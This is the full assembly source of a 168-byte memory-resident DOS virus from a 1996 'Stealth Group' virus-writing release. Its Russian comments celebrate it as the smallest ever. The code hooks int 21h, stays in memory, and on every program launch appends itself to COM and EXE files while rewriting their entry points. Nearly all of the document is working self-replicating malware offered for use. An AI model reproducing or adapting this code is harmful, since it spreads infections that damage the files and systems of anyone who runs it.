▄▄                   ▄
▀▀▀ STEALTH GROUP WW █ Mail:   BOX 15, 125080 MOSCOW   ████████ █████████ █▀▀█
▀██ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ █ ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀ ▀ ▀▀▀▀▐▀▀▀   ┌─┐┬ ┬┌─┤┬ ┬ ╥ ┬┐┌ █▄▄█
 ▐█ █▀▄ █▀▀ ▄▀▀ ▄▀▀ ▄█▄ ▄▀▀ █▀█   ▌ █ ▄▀█ █ ▄▀▀ █▄▄    ├┬┘│ │└─┐├─┤   │└┤ ▄  █
  █ █ █ █▀  █▀  █    █  █▀  █ █   █ █ █ █ █ █   █      ┴└─└─┘└─┘┴ ┴   ┴ ┴ ▀▀▀▀
  █ ▐ ▐ ▐   ▐▄▄ ▐▄▄  ▐  ▐▄▄ ▐▄▀    ▀█ ▀▄█ ▐ ▐▄▄ ▐▄▄▄   ████  WINTER ' 96  ████
  ▐ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ███████████████████████

      ;=========================;
      ; THE SMALLEST VIRUS EVER ;
      ;-------------------------;
      ;    Made by  Super       ;
      ;=========================;

; Перед вами самый маленький (может, Light General побьет рекорд ? )
; Резидентный COM EXE вирус. Заражает файлы при запуске, в память садится
; однократно.
; И... ЗАНИМАЕТ 168 БАЙТ !!!

; Садится в таблицу векторов

; Использован Wolfware Assembler (shareware);
; переделан мной под TASM 
; Enjoy!

;--------------------------------------------------------------------------

.model tiny
.code
org 0

vir_start:
             call pop_si    ;
pop_si:                     ; SI=начало вируса
             pop si         ;
             sub si,3
             mov dx,es      ; Сохранить ES
             cs:                ;
             add [si+30h],dx    ;
             sub cx,cx      ;
             mov es,cx      ; 0000:0200 to 0000:2D9 --> Область памяти для вируса
             mov di,22eh    ;  (0020:0000 to 0020:001F: заголовок файла)
             es:            ;  (0020:002E to 0020:00D9: код вируса)
             cmp [di],cx    ; Самопроверка в памяти
             jnz exit       ;
             mov cl,(vir_len+1)/2    ; (CH уже = 0)
             cld                     ;
             rep                     ; Перенести вирус в память
             cs:                     ;
             movsw                   ;
set_int21:
             mov ax,25h                         ;
             xchg ax,es:[di+84h-(vir_len+22eh)] ;Сохранить int 21 и установить
             stosw                              ;  его на 0025:0025
             cmc                                ;      (=0020:0075)
             jb set_int21                       ;
exit:
             mov es,dx    ; Восстановить ES
             db 0eah     ;
jump:                     ;  Far jump на точку входа в программу
             dw 0000h    ;  (0 = переход в PSP:0000 = int 20h)
             dw 0000h    ;


infect_exe:			  ; заражение EXE
             div word [si+6dh]    ; Вычислить количество параграфов
                                  ; (si+6dh) указывет на 0010h, содержащийся
                                  ;    в инструкции: add ax,10h
             sub ax,[si+8h]       ; Выравнивание для размера заголовка
             xchg ax,[si+16h]    ; Записать новый CS
             xchg dx,[si+14h]    ; Записатб новый IP
             add ax,10h             ; Выравнивание на PSP
             add byte [si+2h],cl    ; Вычислиль остаток страницы
                                    ; Проверка CF будет по адресу "write_jump"
             xchg dx,ax         ; AX=старый IP
             jmps write_jump    ; DX=старый CS


int21:				; Обработчик DOS
             push ax   		; Сохранить AX
             sub ax,4b00h       ; Заражение при запуске (4b00h)
             jnz exit_int21     ;
infect:
             push bx    ; Сохранить регистры
             push dx    ;  (CX,SI,DI,BP,ES сохранять не нужно)
             push ds    ;
             xchg si,ax    ; SI=0000
                             ; Открыть файл --->BX=handle
             mov ax,3d92h    ;  bits 0-2=2--> чтение и запись
             int 21h         ;  bits 4-6=1--> запрет доступа для других 
             xchg bx,ax      ;  bit 7=1--> приватный для текущего процесса
             mov ah,3fh       ;
             mov cx,20h       ; Считать из файла первые 20h байт
             mov ds,cx        ;
             cwd              ; (DS:DX=0020:0000)
             int 21h          ;
             xor cx,ax    ; Выход, если файл короче 20h байт
             jnz close    ;
             mov ax,4202h    ; В конец файла
             int 21h         ; (CX & DX ужЕ = 0)
             mov cl,vir_len
             cmp byte [si],'M'    ; Проверка на EXE
             jz infect_exe        ;
infect_com:
             cmp byte [si],0e9h    ; Начинается ли файл с JMP ?
             jnz close             ; Если нет - не заражаем (для COM)
             dec ax    ;
             dec ax    ; (jump занимает 3 байта)
             dec ax    ;
             xchg ax,[si+1]    ; Сохранить jmp в вирусе
             add ax,103h      ; Вычислить смещение JMP
             cmp [si+1],ax    ; Проверка на зараженность
                              ; (находится ли JMP за 100h байт перед EOF)
write_jump:
             jb close    ; Выйти, если файл уже заражен
             mov [si+5ch],ax    ; Сохранить точку входа в программу
             mov [si+5eh],dx    ;
             mov dx,2eh    ; (0020:002E - начало кода)
             mov ah,40h    ; Дописать вирус к концу файла
             int 21h       ; (CX уже равно длине вируса)

write_hdr:
             mov ax,4200h    ;
             cwd             ; На начало файла
             mov cx,dx       ;
             int 21h         ;
             mov ah,40h      ; Запись заголовка в файл
             mov cl,18h      ; (CH и DX уже равны 0)
             int 21h         ;
close:
             mov ah,3eh    ; Закрыть файл
             int 21h       ;
             pop ds    ;
             pop dx    ; Восстановить регистры
             pop bx    ;
exit_int21:
             pop ax     ; Восстановить AX 
             db 0eah    ; Far jump на старый interrupt 21

vir_end:
vir_len equ offset vir_end - offset vir_start
end vir_start
;--------------------------------------------------------------------------